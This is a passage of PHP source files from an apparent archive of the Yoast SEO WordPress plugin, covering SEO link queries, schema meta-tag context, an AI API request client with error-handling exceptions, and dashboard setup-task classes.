all SEO Links by post ID. * * @param int $post_id The post ID. * * @return bool Whether or not the delete was succesfull. */ public function delete_all_by_post_id( $post_id ) { return $this->query() ->where( 'post_id', $post_id ) ->delete_many(); } /** * Clears all SEO Links by post ID where the indexable id is null. * * @param int $post_id The post ID. * * @return bool Whether or not the delete was succesfull. */ public function delete_all_by_post_id_where_indexable_id_null( $post_id ) { return $this->query() ->where( 'post_id', $post_id ) ->where_null( 'indexable_id' ) ->delete_many(); } /** * Clears all SEO Links by indexable ID. * * @param int $indexable_id The indexable ID. * * @return bool Whether or not the delete was succesfull. */ public function delete_all_by_indexable_id( $indexable_id ) { return $this->query() ->where( 'indexable_id', $indexable_id ) ->delete_many(); } /** * Returns incoming link counts for a number of posts. * * @param array $post_ids The post IDs. * * @return array An array of associative arrays, each containing a post id and incoming property. */ public function get_incoming_link_counts_for_post_ids( $post_ids ) { return $this->query() ->select_expr( 'COUNT( id )', 'incoming' ) ->select( 'target_post_id', 'post_id' ) ->where_in( 'target_post_id', $post_ids ) ->group_by( 'target_post_id' ) ->find_array(); } /** * Returns incoming link counts for a number of indexables. * * @param array $indexable_ids The indexable IDs. * * @return array An array of associative arrays, each containing a indexable id and incoming property. */ public function get_incoming_link_counts_for_indexable_ids( $indexable_ids ) { if ( empty( $indexable_ids ) ) { return []; } // This query only returns ID's with an incoming count > 0. We need to restore any ID's with 0 incoming links later. $indexable_counts = $this->query() ->select_expr( 'COUNT( id )', 'incoming' ) ->select( 'target_indexable_id' ) ->where_in( 'target_indexable_id', $indexable_ids ) ->group_by( 'target_indexable_id' ) ->find_array(); // If the above query fails, do not update anything. if ( ! \is_array( $indexable_counts ) ) { return []; } // Get all ID's returned from the query and set them as keys for easy access. $returned_ids = \array_flip( \array_column( $indexable_counts, 'target_indexable_id' ) ); // Loop over the original ID's and search them in the returned ID's. If they don't exist, add them with an incoming count of 0. foreach ( $indexable_ids as $id ) { // Cast the ID to string, as the arrays only contain stringified versions of the ID. $id = (string) $id; if ( isset( $returned_ids[ $id ] ) === false ) { $indexable_counts[] = [ 'incoming' => '0', 'target_indexable_id' => $id, ]; } } return $indexable_counts; } /** * Deletes all seo links for the given ids. * * @param int[] $ids The seo link ids. * * @return bool Whether or not the delete was succesfull. */ public function delete_many_by_id( $ids ) { return $this->query() ->where_in( 'id', $ids ) ->delete_many(); } /** * Insert multiple seo links. * * @param SEO_Links[] $links The seo links to be inserted. * * @return bool Whether or not the insert was succesfull. */ public function insert_many( $links ) { return $this->query() ->insert_many( $links ); } } context/meta-tags-context.php000064400000046134152076254320012323 0ustar00options = $options; $this->url = $url; $this->image = $image; $this->id_helper = $id_helper; $this->replace_vars = $replace_vars; $this->site = $site; $this->user = $user; $this->permalink_helper = $permalink_helper; $this->indexable_helper = $indexable_helper; $this->indexable_repository = $indexable_repository; } /** * Generates the title. * * @return string the title */ public function generate_title() { return $this->replace_vars->replace( $this->presentation->title, $this->presentation->source ); } /** * Generates the description. * * @return string the description */ public function generate_description() { return $this->replace_vars->replace( $this->presentation->meta_description, $this->presentation->source ); } /** * Generates the canonical. * * @return string the canonical */ public function generate_canonical() { return $this->presentation->canonical; } /** * Generates the permalink. * * @return string */ public function generate_permalink() { if ( ! \is_search() ) { return $this->presentation->permalink; } return \add_query_arg( 's', \rawurlencode( \get_search_query() ), \trailingslashit( $this->site_url ) ); } /** * Generates the id. * * @return string the id */ public function generate_id() { return $this->indexable->object_id; } /** * Generates the site name. * * @return string The site name. */ public function generate_site_name() { $site_name = $this->options->get( 'website_name', '' ); if ( $site_name !== '' ) { return $site_name; } return \get_bloginfo( 'name' ); } /** * Generates the alternate site name. * * @return string The alternate site name. */ public function generate_alternate_site_name() { return (string) $this->options->get( 'alternate_website_name', '' ); } /** * Generates the site name from the WordPress options. * * @return string The site name from the WordPress options. */ public function generate_wordpress_site_name() { return $this->site->get_site_name(); } /** * Generates the site url. * * @return string The site url. */ public function generate_site_url() { $home_page_indexable = $this->indexable_repository->find_for_home_page(); if ( $this->indexable_helper->dynamic_permalinks_enabled() ) { return \trailingslashit( $this->permalink_helper->get_permalink_for_indexable( $home_page_indexable ) ); } return \trailingslashit( $home_page_indexable->permalink ); } /** * Generates the company name. * * @return string The company name. */ public function generate_company_name() { /** * Filter: 'wpseo_schema_company_name' - Allows filtering company name * * @param string $company_name. */ $company_name = \apply_filters( 'wpseo_schema_company_name', $this->options->get( 'company_name' ) ); if ( empty( $company_name ) ) { $company_name = $this->site_name; } return $company_name; } /** * Generates the alternate company name. * * @return string */ public function generate_company_alternate_name() { return (string) $this->options->get( 'company_alternate_name' ); } /** * Generates the person logo id. * * @return int|bool The company logo id. */ public function generate_person_logo_id() { $person_logo_id = $this->image->get_attachment_id_from_settings( 'person_logo' ); if ( empty( $person_logo_id ) ) { $person_logo_id = $this->fallback_to_site_logo(); } /** * Filter: 'wpseo_schema_person_logo_id' - Allows filtering person logo id. * * @param int $person_logo_id. */ return \apply_filters( 'wpseo_schema_person_logo_id', $person_logo_id ); } /** * Retrieve the person logo meta. * * @return array>|bool */ public function generate_person_logo_meta() { $person_logo_meta = $this->image->get_attachment_meta_from_settings( 'person_logo' ); if ( empty( $person_logo_meta ) ) { $person_logo_id = $this->fallback_to_site_logo(); $person_logo_meta = $this->image->get_best_attachment_variation( $person_logo_id ); } /** * Filter: 'wpseo_schema_person_logo_meta' - Allows filtering person logo meta. * * @param string $person_logo_meta. */ return \apply_filters( 'wpseo_schema_person_logo_meta', $person_logo_meta ); } /** * Generates the company logo id. * * @return int|bool The company logo id. */ public function generate_company_logo_id() { $company_logo_id = $this->image->get_attachment_id_from_settings( 'company_logo' ); if ( empty( $company_logo_id ) ) { $company_logo_id = $this->fallback_to_site_logo(); } /** * Filter: 'wpseo_schema_company_logo_id' - Allows filtering company logo id. * * @param int $company_logo_id. */ return \apply_filters( 'wpseo_schema_company_logo_id', $company_logo_id ); } /** * Retrieve the company logo meta. * * @return array>|bool */ public function generate_company_logo_meta() { $company_logo_meta = $this->image->get_attachment_meta_from_settings( 'company_logo' ); /** * Filter: 'wpseo_schema_company_logo_meta' - Allows filtering company logo meta. * * @param string $company_logo_meta. */ return \apply_filters( 'wpseo_schema_company_logo_meta', $company_logo_meta ); } /** * Generates the site user id. * * @return int The site user id. */ public function generate_site_user_id() { return (int) $this->options->get( 'company_or_person_user_id', false ); } /** * Determines what our site represents, and grabs their values. * * @return string|false Person or company. False if invalid value. */ public function generate_site_represents() { switch ( $this->options->get( 'company_or_person', false ) ) { case 'company': // Do not use a non-named company. if ( empty( $this->company_name ) ) { return false; } /* * Do not use a company without a logo. * The logic check is on `< 1` instead of `false` due to how `get_attachment_id_from_settings` works. */ if ( $this->company_logo_id < 1 ) { return false; } return 'company'; case 'person': // Do not use a non-existing user. if ( $this->site_user_id !== false && \get_user_by( 'id', $this->site_user_id ) === false ) { return false; } return 'person'; } return false; } /** * Returns the site represents reference. * * @return array|bool The site represents reference. False if none. */ public function generate_site_represents_reference() { if ( $this->site_represents === 'person' ) { return [ '@id' => $this->id_helper->get_user_schema_id( $this->site_user_id, $this ) ]; } if ( $this->site_represents === 'company' ) { return [ '@id' => $this->site_url . Schema_IDs::ORGANIZATION_HASH ]; } return false; } /** * Returns whether or not open graph is enabled. * * @return bool Whether or not open graph is enabled. */ public function generate_open_graph_enabled() { return $this->options->get( 'opengraph' ) === true; } /** * Returns the open graph publisher. * * @return string The open graph publisher. */ public function generate_open_graph_publisher() { if ( $this->site_represents === 'company' ) { return $this->options->get( 'facebook_site', '' ); } if ( $this->site_represents === 'person' ) { return $this->user->get_the_author_meta( 'facebook', $this->site_user_id ); } return $this->options->get( 'facebook_site', '' ); } /** * Returns the twitter card type. * * @return string The twitter card type. */ public function generate_twitter_card() { return 'summary_large_image'; } /** * Returns the schema page type. * * @return string|array The schema page type. */ public function generate_schema_page_type() { switch ( $this->indexable->object_type ) { case 'system-page': switch ( $this->indexable->object_sub_type ) { case 'search-result': $type = [ 'CollectionPage', 'SearchResultsPage' ]; break; default: $type = 'WebPage'; } break; case 'user': $type = 'ProfilePage'; break; case 'home-page': case 'date-archive': case 'term': case 'post-type-archive': $type = 'CollectionPage'; break; default: $additional_type = $this->indexable->schema_page_type; $additional_type ??= $this->options->get( 'schema-page-type-' . $this->indexable->object_sub_type ); $type = [ 'WebPage', $additional_type ]; // Is this indexable set as a page for posts, e.g. in the WordPress reading settings as a static homepage? if ( (int) \get_option( 'page_for_posts' ) === $this->indexable->object_id ) { $type[] = 'CollectionPage'; } // Ensure we get only unique values, and remove any null values and the index. $type = \array_filter( \array_values( \array_unique( $type ) ) ); } /** * Filter: 'wpseo_schema_webpage_type' - Allow changing the WebPage type. * * @param string|array $type The WebPage type. */ return \apply_filters( 'wpseo_schema_webpage_type', $type ); } /** * Returns the schema article type. * * @return string|array The schema article type. */ public function generate_schema_article_type() { $additional_type = $this->indexable->schema_article_type; $additional_type ??= $this->options->get( 'schema-article-type-' . $this->indexable->object_sub_type ); /** This filter is documented in inc/options/class-wpseo-option-titles.php */ $allowed_article_types = \apply_filters( 'wpseo_schema_article_types', Schema_Types::ARTICLE_TYPES ); if ( ! \array_key_exists( $additional_type, $allowed_article_types ) ) { $additional_type = $this->options->get_title_default( 'schema-article-type-' . $this->indexable->object_sub_type ); } // If the additional type is a subtype of Article, we're fine, and we can bail here. if ( \stripos( $additional_type, 'Article' ) !== false ) { /** * Filter: 'wpseo_schema_article_type' - Allow changing the Article type. * * @param string|string[] $type The Article type. * @param Indexable $indexable The indexable. */ return \apply_filters( 'wpseo_schema_article_type', $additional_type, $this->indexable ); } $type = 'Article'; /* * If `None` is set (either on the indexable or as a default), set type to 'None'. * This simplifies is_needed checks downstream. */ if ( $additional_type === 'None' ) { $type = $additional_type; } if ( $additional_type !== $type ) { $type = [ $type, $additional_type ]; } // Filter documented on line 499 above. return \apply_filters( 'wpseo_schema_article_type', $type, $this->indexable ); } /** * Returns the main schema id. * * The main schema id. * * @return string */ public function generate_main_schema_id() { return $this->permalink; } /** * Retrieves the main image URL. This is the featured image by default. * * @return string|null The main image URL. */ public function generate_main_image_url() { if ( $this->main_image_id !== null ) { return $this->image->get_attachment_image_url( $this->main_image_id, 'full' ); } if ( \wp_is_serving_rest_request() ) { return $this->get_main_image_url_for_rest_request(); } if ( ! \is_singular() ) { return null; } $url = $this->image->get_post_content_image( $this->id ); if ( $url === '' ) { return null; } return $url; } /** * Generates the main image ID. * * @return int|null The main image ID. */ public function generate_main_image_id() { if ( \wp_is_serving_rest_request() ) { return $this->get_main_image_id_for_rest_request(); } $image_id = null; switch ( true ) { case \is_singular(): $image_id = $this->get_singular_post_image( $this->id ); break; case \is_author(): case \is_tax(): case \is_tag(): case \is_category(): case \is_search(): case \is_date(): case \is_post_type_archive(): if ( ! empty( $GLOBALS['wp_query']->posts ) ) { if ( $GLOBALS['wp_query']->get( 'fields', 'all' ) === 'ids' ) { $image_id = $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0] ); break; } $image_id = $this->get_singular_post_image( $GLOBALS['wp_query']->posts[0]->ID ); } break; } /** * Filter: 'wpseo_schema_main_image_id' - Allow changing the main image ID. * * @param int|array $image_id The image ID. */ return \apply_filters( 'wpseo_schema_main_image_id', $image_id ); } /** * Determines whether the current indexable has an image. * * @return bool Whether the current indexable has an image. */ public function generate_has_image() { return $this->main_image_url !== null; } /** * Strips all nested dependencies from the debug info. * * @return array */ public function __debugInfo() { return [ 'indexable' => $this->indexable, 'presentation' => $this->presentation, ]; } /** * Retrieve the site logo ID from WordPress settings. * * @return int|false */ public function fallback_to_site_logo() { $logo_id = \get_option( 'site_logo' ); if ( ! $logo_id ) { $logo_id = \get_theme_mod( 'custom_logo', false ); } return $logo_id; } /** * Get the ID for a post's featured image. * * @param int $id Post ID. * * @return int|null */ private function get_singular_post_image( $id ) { if ( \has_post_thumbnail( $id ) ) { $thumbnail_id = \get_post_thumbnail_id( $id ); // Prevent returning something else than an int or null. if ( \is_int( $thumbnail_id ) && $thumbnail_id > 0 ) { return $thumbnail_id; } } if ( \is_singular( 'attachment' ) ) { return \get_query_var( 'attachment_id' ); } return null; } /** * Gets the main image ID for REST requests. * * @return int|null The main image ID. */ private function get_main_image_id_for_rest_request() { switch ( $this->page_type ) { case 'Post_Type': if ( $this->post instanceof WP_Post ) { return $this->get_singular_post_image( $this->post->ID ); } return null; default: return null; } } /** * Gets the main image URL for REST requests. * * @return string|null The main image URL. */ private function get_main_image_url_for_rest_request() { switch ( $this->page_type ) { case 'Post_Type': if ( $this->post instanceof WP_Post ) { $url = $this->image->get_post_content_image( $this->post->ID ); if ( $url === '' ) { return null; } return $url; } return null; default: return null; } } } \class_alias( Meta_Tags_Context::class, 'WPSEO_Schema_Context' ); ai-http-request/domain/response.php000064400000003734152076254320013433 0ustar00 */ private $missing_licenses; /** * Response constructor. * * @param string $body The response body. * @param int $response_code The response code. * @param string $message The response message. * @param string $error_code The error code. * @param array $missing_licenses The missing licenses. */ public function __construct( string $body, int $response_code, string $message, string $error_code = '', $missing_licenses = [] ) { $this->body = $body; $this->response_code = $response_code; $this->message = $message; $this->error_code = $error_code; $this->missing_licenses = $missing_licenses; } /** * Gets the response body. * * @return string The response body. */ public function get_body() { return $this->body; } /** * Gets the response code. * * @return int The response code. */ public function get_response_code(): int { return $this->response_code; } /** * Gets the response message. * * @return string The response message. */ public function get_message(): string { return $this->message; } /** * Gets the error code. * * @return string The error code. */ public function get_error_code(): string { return $this->error_code; } /** * Gets the missing licenses. * * @return array The missing licenses. */ public function get_missing_licenses(): array { return $this->missing_licenses; } } ai-http-request/domain/request.php000064400000003431152076254320013257 0ustar00 */ private $body; /** * The headers for the request. * * @var array */ private $headers; /** * Whether the request is a POST request. * * @var bool */ private $is_post; /** * Constructor for the Request class. * * @param string $action_path The action path for the request. * @param array $body The body of the request. * @param array $headers The headers for the request. * @param bool $is_post Whether the request is a POST request. Default is true. */ public function __construct( string $action_path, array $body = [], array $headers = [], bool $is_post = true ) { $this->action_path = $action_path; $this->body = $body; $this->headers = $headers; $this->is_post = $is_post; } /** * Get the action path for the request. * * @return string The action path for the request. */ public function get_action_path(): string { return $this->action_path; } /** * Get the body of the request. * * @return array The body of the request. */ public function get_body(): array { return $this->body; } /** * Get the headers for the request. * * @return array The headers for the request. */ public function get_headers(): array { return $this->headers; } /** * Whether the request is a POST request. * * @return bool True if the request is a POST request, false otherwise. */ public function is_post(): bool { return $this->is_post; } } ai-http-request/domain/exceptions/internal-server-error-exception.php000064400000000574152076254320022220 0ustar00missing_licenses = $missing_licenses; parent::__construct( $message, $code, $error_identifier, $previous ); } /** * Gets the missing plugin licences. * * @return string[] The missing plugin licenses. */ public function get_missing_licenses() { return $this->missing_licenses; } } ai-http-request/domain/exceptions/service-unavailable-exception.php000064400000000457152076254320021672 0ustar00error_identifier = (string) $error_identifier; } /** * Returns the error identifier. * * @return string The error identifier. */ public function get_error_identifier(): string { return $this->error_identifier; } } ai-http-request/domain/exceptions/not-found-exception.php000064400000000433152076254330017655 0ustar00> $response The response from the API. * * @return Response The parsed response. */ public function parse( $response ): Response; } ai-http-request/application/response-parser.php000064400000003625152076254340015762 0ustar00> $response The response from the API. * * @return Response The parsed response. */ public function parse( $response ): Response { $response_code = ( \wp_remote_retrieve_response_code( $response ) !== '' ) ? \wp_remote_retrieve_response_code( $response ) : 0; $response_message = \esc_html( \wp_remote_retrieve_response_message( $response ) ); $error_code = ''; $missing_licenses = []; if ( $response_code !== 200 && $response_code !== 0 ) { $json_body = \json_decode( \wp_remote_retrieve_body( $response ) ); if ( $json_body !== null ) { $response_message = ( $json_body->message ?? $response_message ); $error_code = ( $json_body->error_code ?? $this->map_message_to_code( $response_message ) ); if ( $response_code === 402 || $response_code === 429 ) { $missing_licenses = isset( $json_body->missing_licenses ) ? (array) $json_body->missing_licenses : []; } } } return new Response( $response['body'], $response_code, $response_message, $error_code, $missing_licenses ); } /** * Maps the error message to a code. * * @param string $message The error message. * * @return string The mapped code. */ private function map_message_to_code( string $message ): string { if ( \strpos( $message, 'must NOT have fewer than 1 characters' ) !== false ) { return 'NOT_ENOUGH_CONTENT'; } if ( \strpos( $message, 'Client timeout' ) !== false ) { return 'CLIENT_TIMEOUT'; } if ( \strpos( $message, 'Server timeout' ) !== false ) { return 'SERVER_TIMEOUT'; } return 'UNKNOWN'; } } ai-http-request/application/request-handler.php000064400000011116152076254340015727 0ustar00api_client = $api_client; $this->response_parser = $response_parser; } // phpcs:disable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber -- PHPCS doesn't take into account exceptions thrown in called methods. /** * Executes the request to the API. * * @param Request $request The request to execute. * * @return Response The response from the API. * * @throws Bad_Request_Exception When the request fails for any other reason. * @throws Forbidden_Exception When the response code is 403. * @throws Internal_Server_Error_Exception When the response code is 500. * @throws Not_Found_Exception When the response code is 404. * @throws Payment_Required_Exception When the response code is 402. * @throws Request_Timeout_Exception When the response code is 408. * @throws Service_Unavailable_Exception When the response code is 503. * @throws Too_Many_Requests_Exception When the response code is 429. * @throws Unauthorized_Exception When the response code is 401. * @throws WP_Request_Exception When the request fails for any other reason. */ public function handle( Request $request ): Response { $api_response = $this->api_client->perform_request( $request->get_action_path(), $request->get_body(), $request->get_headers(), $request->is_post(), ); $response = $this->response_parser->parse( $api_response ); // phpcs:disable WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive. switch ( $response->get_response_code() ) { case 200: return $response; case 401: throw new Unauthorized_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 402: throw new Payment_Required_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() ); case 403: throw new Forbidden_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 404: throw new Not_Found_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 408: throw new Request_Timeout_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 429: throw new Too_Many_Requests_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code(), null, $response->get_missing_licenses() ); case 500: throw new Internal_Server_Error_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); case 503: throw new Service_Unavailable_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); default: throw new Bad_Request_Exception( $response->get_message(), $response->get_response_code(), $response->get_error_code() ); } // phpcs:enable WordPress.Security.EscapeOutput.ExceptionNotEscaped } // phpcs:enable Squiz.Commenting.FunctionCommentThrowTag.WrongNumber } ai-http-request/infrastructure/api-client.php000064400000005011152076254340015423 0ustar00 $body The body of the request. * @param array $headers The headers for the request. * @param bool $is_post Whether the request is a POST request. * * @return array> The response from the API. * * @throws WP_Request_Exception When the wp_remote_post() returns an error. */ public function perform_request( string $action_path, $body, $headers, bool $is_post ): array { // Our API expects JSON. // The request times out after 30 seconds. $headers = \array_merge( $headers, [ 'Content-Type' => 'application/json' ] ); $arguments = [ 'timeout' => $this->get_request_timeout(), 'headers' => $headers, ]; if ( $is_post ) { // phpcs:ignore Yoast.Yoast.JsonEncodeAlternative.Found -- Reason: We don't want the debug/pretty possibility. $arguments['body'] = WPSEO_Utils::format_json_encode( $body ); } /** * Filter: 'Yoast\WP\SEO\ai_api_url' - Replaces the default URL for the AI API with a custom one. * * @internal * * @param string $url The default URL for the AI API. */ $url = \apply_filters( 'Yoast\WP\SEO\ai_api_url', $this->base_url ); $response = ( $is_post ) ? \wp_remote_post( $url . $action_path, $arguments ) : \wp_remote_get( $url . $action_path, $arguments ); if ( \is_wp_error( $response ) ) { // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- false positive. throw new WP_Request_Exception( $response->get_error_message() ); } return $response; } /** * Gets the timeout of the requests in seconds. * * @return int The timeout of the suggestion requests in seconds. */ public function get_request_timeout(): int { /** * Filter: 'Yoast\WP\SEO\ai_suggestions_timeout' - Replaces the default timeout with a custom one, for testing purposes. * * @since 22.7 * @internal * * @param int $timeout The default timeout in seconds. */ return (int) \apply_filters( 'Yoast\WP\SEO\ai_suggestions_timeout', 60 ); } } ai-http-request/infrastructure/api-client-interface.php000064400000001731152076254340017366 0ustar00 $body The body of the request. * @param array $headers The headers for the request. * @param bool $is_post Whether the request is a POST request. * * @return array> The response from the API. * * @throws WP_Request_Exception When the wp_remote_post() returns an error. */ public function perform_request( string $action_path, $body, $headers, bool $is_post ): array; /** * Gets the timeout of the requests in seconds. * * @return int The timeout of the suggestion requests in seconds. */ public function get_request_timeout(): int; } task-list/domain/endpoint/endpoint-list.php000064400000001502152076254350015057 0ustar00 */ private $endpoints = []; /** * Adds an endpoint to the list. * * @param Endpoint_Interface $endpoint An endpoint. * * @return void */ public function add_endpoint( Endpoint_Interface $endpoint ): void { $this->endpoints[] = $endpoint; } /** * Converts the list to an array. * * @return array The array of endpoints. */ public function to_array(): array { $result = []; foreach ( $this->endpoints as $endpoint ) { $result[ $endpoint->get_name() ] = $endpoint->get_url(); } return $result; } } task-list/domain/endpoint/endpoint-interface.php000064400000001057152076254350016051 0ustar00post_type; } /** * Sets the post type associated with the task. * * @param string $post_type The post type. * * @return void */ public function set_post_type( string $post_type ): void { $this->post_type = $post_type; } /** * Returns the task ID. * * @return string */ public function get_id(): string { return parent::get_id() . '-' . $this->post_type; } /** * Duplicates the task using a specific post type. * * @param string $post_type The post type. * * @return Post_Type_Task_Interface */ public function duplicate_for_post_type( string $post_type ): Post_Type_Task_Interface { $clone = clone $this; $clone->set_post_type( $post_type ); return $clone; } } task-list/domain/tasks/post-type-task-interface.php000064400000001414152076254350016437 0ustar00 */ public function to_array(): array; /** * Returns the task's priority. * * @return string */ public function get_priority(): string; /** * Returns the task's duration. * * @return int */ public function get_duration(): int; /** * Returns the task's link. * * @return string|null */ public function get_link(): ?string; /** * Returns the task's badge. * * @return string|null */ public function get_badge(): ?string; /** * Returns the task's call to action. * * @return Call_To_Action_Entry */ public function get_call_to_action(): Call_To_Action_Entry; /** * Returns the task's copy set. * * @return Copy_Set */ public function get_copy_set(): Copy_Set; /** * Sets the enhanced call to action. * * @param Call_To_Action_Entry $enhanced_call_to_action The enhanced call to action. * * @return void */ public function set_enhanced_call_to_action( ?Call_To_Action_Entry $enhanced_call_to_action ): void; /** * Returns the enhanced call to action. * * @return Call_To_Action_Entry|null */ public function get_enhanced_call_to_action(): ?Call_To_Action_Entry; /** * Returns whether the task is valid. * * @return bool */ public function is_valid(): bool; } task-list/domain/tasks/abstract-completeable-task.php000064400000000466152076254350017000 0ustar00id; } /** * Returns the task's priority. * * @return string */ public function get_priority(): string { return $this->priority; } /** * Returns the task's duration. * * @return int */ public function get_duration(): int { return $this->duration; } /** * Returns the task's badge. * * @return string|null */ public function get_badge(): ?string { return null; } /** * Sets the enhanced call to action. * * @param Call_To_Action_Entry $enhanced_call_to_action The enhanced call to action. * * @return void */ public function set_enhanced_call_to_action( ?Call_To_Action_Entry $enhanced_call_to_action ): void { $this->enhanced_call_to_action = $enhanced_call_to_action; } /** * Returns the enhanced call to action. * * @return Call_To_Action_Entry|null */ public function get_enhanced_call_to_action(): ?Call_To_Action_Entry { return $this->enhanced_call_to_action; } /** * Returns an array representation of the task data. * * @return array Returns in an array format. */ public function to_array(): array { $data = [ 'id' => $this->get_id(), 'duration' => $this->get_duration(), 'priority' => $this->get_priority(), 'badge' => $this->get_badge(), 'isCompleted' => $this->get_is_completed(), 'callToAction' => $this->get_enhanced_call_to_action()->to_array(), ]; return \array_merge( $data, $this->get_copy_set()->to_array() ); } /** * Returns whether the task is valid. * * @return bool */ public function is_valid(): bool { return true; } } task-list/domain/tasks/completeable-task-interface.php000064400000000544152076254350017132 0ustar00label = $label; $this->type = $type; $this->href = $href; } /** * Returns the task's label. * * @return string|null */ public function get_label(): ?string { return $this->label; } /** * Returns the task's type. * * @return string|null */ public function get_type(): ?string { return $this->type; } /** * Returns the task's href. * * @return string|null */ public function get_href(): ?string { return $this->href; } /** * Returns an array representation of the call to action data. * * @return array Returns in an array format. */ public function to_array(): array { return [ 'label' => $this->label, 'type' => $this->type, 'href' => $this->href, ]; } } task-list/domain/components/copy-set.php000064400000001766152076254360014413 0ustar00title = $title; $this->why = $why; $this->how = $how; } /** * Returns an array representation of the copy set data. * * @return array Returns in an array format. */ public function to_array(): array { return [ 'title' => $this->title, 'why' => $this->why, 'how' => $this->how, ]; } } task-list/application/tasks-repository.php000064400000001335152076254360015051 0ustar00tasks_collector = $tasks_collector; } /** * Returns tasks data. * * @return array> The tasks list. */ public function get_tasks_data(): array { return $this->tasks_collector->get_tasks_data(); } } task-list/application/endpoints/endpoints-repository.php000064400000001726152076254400017731 0ustar00 */ private $endpoints; /** * Constructs the repository. * * @param Endpoint_Interface ...$endpoints The endpoints to add to the repository. */ public function __construct( Endpoint_Interface ...$endpoints ) { $this->endpoints = $endpoints; } /** * Creates a list with all endpoints. * * @return Endpoint_List The list with all endpoints. */ public function get_all_endpoints(): Endpoint_List { $list = new Endpoint_List(); foreach ( $this->endpoints as $endpoint ) { $list->add_endpoint( $endpoint ); } return $list; } } task-list/application/configuration/task-list-configuration.php000064400000002470152076254400021132 0ustar00options_helper = $options_helper; $this->endpoints_repository = $endpoints_repository; } /** * Returns a configuration * * @return array|array>>> */ public function get_configuration(): array { $configuration = [ 'enabled' => $this->options_helper->get( 'enable_task_list', true ), 'endpoints' => $this->endpoints_repository->get_all_endpoints()->to_array(), ]; return $configuration; } } task-list/application/tasks/set-search-appearance-templates.php000064400000007054152076254410020763 0ustar00options_helper = $options_helper; $this->route_helper = $route_helper; } /** * Returns whether this task is completed. * * @return bool Whether this task is completed. */ public function get_is_completed(): bool { $post_type = \get_post_type_object( $this->get_post_type() ); // First check if the SEO title has been customized. if ( $this->options_helper->get_title_default( 'title-' . $post_type->name ) !== $this->options_helper->get( 'title-' . $post_type->name ) ) { return true; } // Then check if the meta description has been customized. if ( $this->options_helper->get_title_default( 'metadesc-' . $post_type->name ) !== $this->options_helper->get( 'metadesc-' . $post_type->name ) ) { return true; } return false; } /** * Returns the task's link. * * @return string|null */ public function get_link(): ?string { $post_type = \get_post_type_object( $this->get_post_type() ); $link = \sprintf( 'admin.php?page=wpseo_page_settings#/post-type/%s', $this->route_helper->get_route( $post_type->name, $post_type->rewrite, $post_type->rest_base ), ); return \self_admin_url( $link ); } /** * Returns the task's call to action entry. * * @return string|null */ public function get_call_to_action(): Call_To_Action_Entry { return new Call_To_Action_Entry( \__( 'Set search templates', 'wordpress-seo' ), 'link', $this->get_link(), ); } /** * Returns the task's copy set. * * @return string|null */ public function get_copy_set(): Copy_Set { $post_type = \get_post_type_object( $this->get_post_type() ); return new Copy_Set( /* translators: %1$s expands to the post type label this task is about */ \sprintf( \__( 'Set search appearance templates for your content type: %1$s', 'wordpress-seo' ), $post_type->label ), /* translators: %1$s expands to the post type name this task is about */ \sprintf( \__( 'Generic titles and descriptions make your results unclear in search. Templates ensure every %1$s has a clear, click-worthy snippet automatically.', 'wordpress-seo' ), $post_type->name ), \__( 'Go to Search appearance, choose your post type, and set default title and meta description patterns.', 'wordpress-seo' ), ); } } task-list/application/tasks/enable-llms-txt.php000064400000005047152076254410015644 0ustar00options_helper = $options_helper; } /** * Returns whether this task is completed. * * @return bool Whether this task is completed. */ public function get_is_completed(): bool { return $this->options_helper->get( 'enable_llms_txt', false ); } /** * Returns the task's link. * * @return string|null */ public function get_link(): ?string { return null; } /** * Completes a task. * * @return void * * @throws Complete_LLMS_Task_Exception If the option could not be set. */ public function complete_task(): void { $result = $this->options_helper->set( 'enable_llms_txt', true ); if ( ! $result ) { throw new Complete_LLMS_Task_Exception(); } } /** * Returns the task's call to action entry. * * @return string|null */ public function get_call_to_action(): Call_To_Action_Entry { return new Call_To_Action_Entry( \__( 'Enable llms.txt', 'wordpress-seo' ), 'default', $this->get_link(), ); } /** * Returns the task's copy set. * * @return string|null */ public function get_copy_set(): Copy_Set { return new Copy_Set( \__( 'Create an llms.txt file', 'wordpress-seo' ), \__( 'Without llms.txt, AI crawlers may not know how to treat your content. Publishing it helps communicate your preferences in a clearer way to AI tools.', 'wordpress-seo' ), ); } /** * Returns whether the task is valid. * * @return bool */ public function is_valid(): bool { return ! \is_multisite(); } } task-list/application/tasks/complete-ftc.php000064400000004443152076254410015215 0ustar00ftc_notice_helper = $ftc_notice_helper; } /** * Returns whether this task is completed. * * @return bool Whether this task is completed. */ public function get_is_completed(): bool { return $this->ftc_notice_helper->is_first_time_configuration_finished( true ); } /** * Returns the task's link. * * @return string|null */ public function get_link(): ?string { return \self_admin_url( 'admin.php?page=wpseo_dashboard#/first-time-configuration' ); } /** * Returns the task's call to action entry. * * @return string|null */ public function get_call_to_action(): Call_To_Action_Entry { return new Call_To_Action_Entry( \__( 'Start configuration', 'wordpress-seo' ), 'link', $this->get_link(), ); } /** * Returns the task's copy set. * * @return string|null */ public function get_copy_set(): Copy_Set { return new Copy_Set( \__( 'Complete the First-time configuration', 'wordpress-seo' ), /* translators: %1$s expands to Yoast SEO */ \sprintf( \__( 'Skipping setup limits how much %1$s can help you. Completing it makes sure the core settings are working in your favor.', 'wordpress-seo' ), 'Yoast SEO' ), ); } } task-list/application/tasks/delete-hello-world.php000064400000005355152076254410016326 0ustar00post_status !== 'publish' ) { return true; } // Check if this is the actual Hello World post by checking the first comment. $comments = \get_comments( [ 'post_id' => 1, 'number' => 1, 'order' => 'ASC', ], ); if ( empty( $comments ) || \is_a( $comments[0], WP_Comment::class ) === false || $comments[0]->comment_author_email !== 'wapuu@wordpress.example' ) { // Not the Hello World post, so consider task completed. return true; } return $post->post_date !== $post->post_modified; } /** * Returns the task's link. * * @return string|null */ public function get_link(): ?string { return null; } /** * Completes a task. * * @return void * * @throws Complete_Hello_World_Task_Exception If the 